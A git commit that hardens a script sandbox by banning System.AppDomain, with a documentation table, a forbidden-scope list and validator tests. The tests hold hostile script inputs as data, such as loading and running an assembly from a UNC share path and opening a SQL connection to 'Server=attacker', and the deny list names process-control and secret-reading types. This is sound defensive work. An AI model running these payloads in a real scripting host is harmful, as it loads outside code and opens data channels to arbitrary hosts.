fix(script-analysis): forbid System.AppDomain in scripts (CMN-2, WP1 task 1.2)

AppDomain's assembly-loading members (ExecuteAssembly[ByName], Load,
CreateInstanceFrom[AndUnwrap], CreateInstanceAndUnwrap) were neither a
forbidden scope nor exact gateway names, so a script could load and run
an external assembly (even from a UNC path) in the host process. The
whole type is now a forbidden scope, like System.Environment and
System.GC. AppContext/Debugger were considered and left alone (no
assembly-load surface).

Tests: every AppDomain loading spelling (member access, ?., using static,
alias) is flagged; the ban is exact-type.
This commit is contained in:
Joseph Doherty
2026-12-03 09:44:42 -05:00
parent 29192eeb44
commit a9549fbc6e
3 changed files with 34 additions and 1 deletions
@@ -43,6 +43,7 @@ The following namespace/type prefixes are forbidden in all scripts:
| `Microsoft.Win32` | Win32 API access — forbidden entirely | | `Microsoft.Win32` | Win32 API access — forbidden entirely |
| `System.Environment` | Whole type — forbidden entirely; exposes process control (`Exit`/`FailFast`), the host environment, and secrets via environment variables (e.g. `SCADABRIDGE_API_KEY`). Scripts that need a line break use `"\n"` instead of `Environment.NewLine`. | | `System.Environment` | Whole type — forbidden entirely; exposes process control (`Exit`/`FailFast`), the host environment, and secrets via environment variables (e.g. `SCADABRIDGE_API_KEY`). Scripts that need a line break use `"\n"` instead of `Environment.NewLine`. |
| `System.GC` | Whole type — forbidden entirely; GC control (`Collect`, `KeepAlive`, memory-pressure knobs) has no legitimate script use. | | `System.GC` | Whole type — forbidden entirely; GC control (`Collect`, `KeepAlive`, memory-pressure knobs) has no legitimate script use. |
| `System.AppDomain` | Whole type — forbidden entirely (code review 2026-12-02 CMN-2); its assembly-loading members (`ExecuteAssembly`, `ExecuteAssemblyByName`, `Load`, `CreateInstanceFrom[AndUnwrap]`, `CreateInstanceAndUnwrap`) load and run external code — a UNC path needs no local write — inside the host process. |
| `Microsoft.Data` | Concrete ADO.NET provider namespace (`Microsoft.Data.SqlClient`, …) — forbidden; closes the arbitrary-host `new SqlConnection("Server=attacker")` channel | | `Microsoft.Data` | Concrete ADO.NET provider namespace (`Microsoft.Data.SqlClient`, …) — forbidden; closes the arbitrary-host `new SqlConnection("Server=attacker")` channel |
| `System.Data.SqlClient` | Concrete ADO.NET SQL Server provider — forbidden (see provider-namespace posture below) | | `System.Data.SqlClient` | Concrete ADO.NET SQL Server provider — forbidden (see provider-namespace posture below) |
| `System.Data.Odbc` | Concrete ADO.NET ODBC provider — forbidden | | `System.Data.Odbc` | Concrete ADO.NET ODBC provider — forbidden |
@@ -60,7 +61,7 @@ The following types are explicitly allowed despite falling within a forbidden na
- `System.Threading.CancellationToken` — cooperative cancellation - `System.Threading.CancellationToken` — cooperative cancellation
- `System.Threading.CancellationTokenSource` — cooperative cancellation - `System.Threading.CancellationTokenSource` — cooperative cancellation
The scoping rationale: `System.Diagnostics.Process` is the dangerous type (spawns processes); `Stopwatch`, `Debug`, and `Activity` are harmless diagnostic utilities. Forbidding the whole `System.Diagnostics` namespace, as some earlier call sites did, was overly broad. In contrast, `System.Environment` and `System.GC` are forbidden as **whole types** because — unlike `System.Diagnostics` — they have no harmless members a script legitimately needs. The scoping rationale: `System.Diagnostics.Process` is the dangerous type (spawns processes); `Stopwatch`, `Debug`, and `Activity` are harmless diagnostic utilities. Forbidding the whole `System.Diagnostics` namespace, as some earlier call sites did, was overly broad. In contrast, `System.Environment`, `System.GC` and `System.AppDomain` are forbidden as **whole types** because — unlike `System.Diagnostics` — they have no harmless members a script legitimately needs.
#### Reflection-gateway members #### Reflection-gateway members
@@ -52,6 +52,12 @@ public static class ScriptTrustPolicy
// Whole type — GC control (Collect, KeepAlive, memory pressure knobs) has // Whole type — GC control (Collect, KeepAlive, memory pressure knobs) has
// no legitimate script use. // no legitimate script use.
"System.GC", "System.GC",
// Whole type (code review 2026-12-02 CMN-2) — AppDomain's assembly-loading members
// (ExecuteAssembly[ByName], Load, CreateInstanceFrom[AndUnwrap],
// CreateInstanceAndUnwrap) pull external code — even a UNC path — into the host
// process. The exact-match gateway list cannot cover every overload name, and the
// type has no legitimate script use, so it is banned like Environment and GC.
"System.AppDomain",
// Concrete ADO.NET provider namespaces. Scripts reach a DbConnection ONLY // Concrete ADO.NET provider namespaces. Scripts reach a DbConnection ONLY
// via the Database helper, whose abstract System.Data.Common types stay // via the Database helper, whose abstract System.Data.Common types stay
// allowed; forbidding the concrete providers closes the arbitrary-host // allowed; forbidding the concrete providers closes the arbitrary-host
@@ -443,6 +443,32 @@ public class ScriptTrustValidatorTests
[InlineData("var c = new Microsoft.Data.SqlClient.SqlConnection(\"Server=attacker\");")] [InlineData("var c = new Microsoft.Data.SqlClient.SqlConnection(\"Server=attacker\");")]
public void FindViolations_Flags(string code) => Assert.NotEmpty(ScriptTrustValidator.FindViolations(code)); public void FindViolations_Flags(string code) => Assert.NotEmpty(ScriptTrustValidator.FindViolations(code));
// Code review 2026-12-02 CMN-2: System.AppDomain's assembly-loading members
// (ExecuteAssembly, Load, CreateInstanceFrom[AndUnwrap], ...) pulled external code
// into the host process with no validator objection. The whole type is now forbidden.
/// <summary>Verifies that every <c>System.AppDomain</c> assembly-loading spelling is flagged.</summary>
/// <param name="code">The script source expected to be flagged.</param>
[Theory]
[InlineData("AppDomain.CurrentDomain.ExecuteAssembly(@\"\\\\host\\share\\x.dll\");")]
[InlineData("AppDomain.CurrentDomain.ExecuteAssemblyByName(\"x\");")]
[InlineData("var a = AppDomain.CurrentDomain.Load(\"x\");")]
[InlineData("var o = AppDomain.CurrentDomain.CreateInstanceFromAndUnwrap(\"x.dll\", \"T\");")]
[InlineData("var o = AppDomain.CurrentDomain.CreateInstanceAndUnwrap(\"x\", \"T\");")]
[InlineData("var o = System.AppDomain.CurrentDomain?.CreateInstanceFrom(\"x.dll\", \"T\");")]
[InlineData("var d = AppDomain.CurrentDomain; d.ExecuteAssembly(\"x.dll\");")]
[InlineData("using static System.AppDomain; var d = CurrentDomain;")]
[InlineData("using D = System.AppDomain; var d = D.CurrentDomain;")]
public void AppDomain_AssemblyLoading_IsFlagged(string code) =>
Assert.NotEmpty(ScriptTrustValidator.FindViolations(code));
/// <summary>The AppDomain ban is exact-type: a lookalike name in the System namespace is not swept up.</summary>
[Fact]
public void AppDomainScope_IsExactType()
{
Assert.Contains("System.AppDomain", ScriptTrustPolicy.ForbiddenScopes);
Assert.Empty(ScriptTrustValidator.FindViolations("var s = \"AppDomain\".Length;"));
}
// Syntactic gateway closure (matters in TPA-degraded fallback mode): these // Syntactic gateway closure (matters in TPA-degraded fallback mode): these
// reflection-gateway members are rejected regardless of receiver. // reflection-gateway members are rejected regardless of receiver.
/// <summary>Verifies that the syntactic pass flags reflection-gateway members regardless of receiver.</summary> /// <summary>Verifies that the syntactic pass flags reflection-gateway members regardless of receiver.</summary>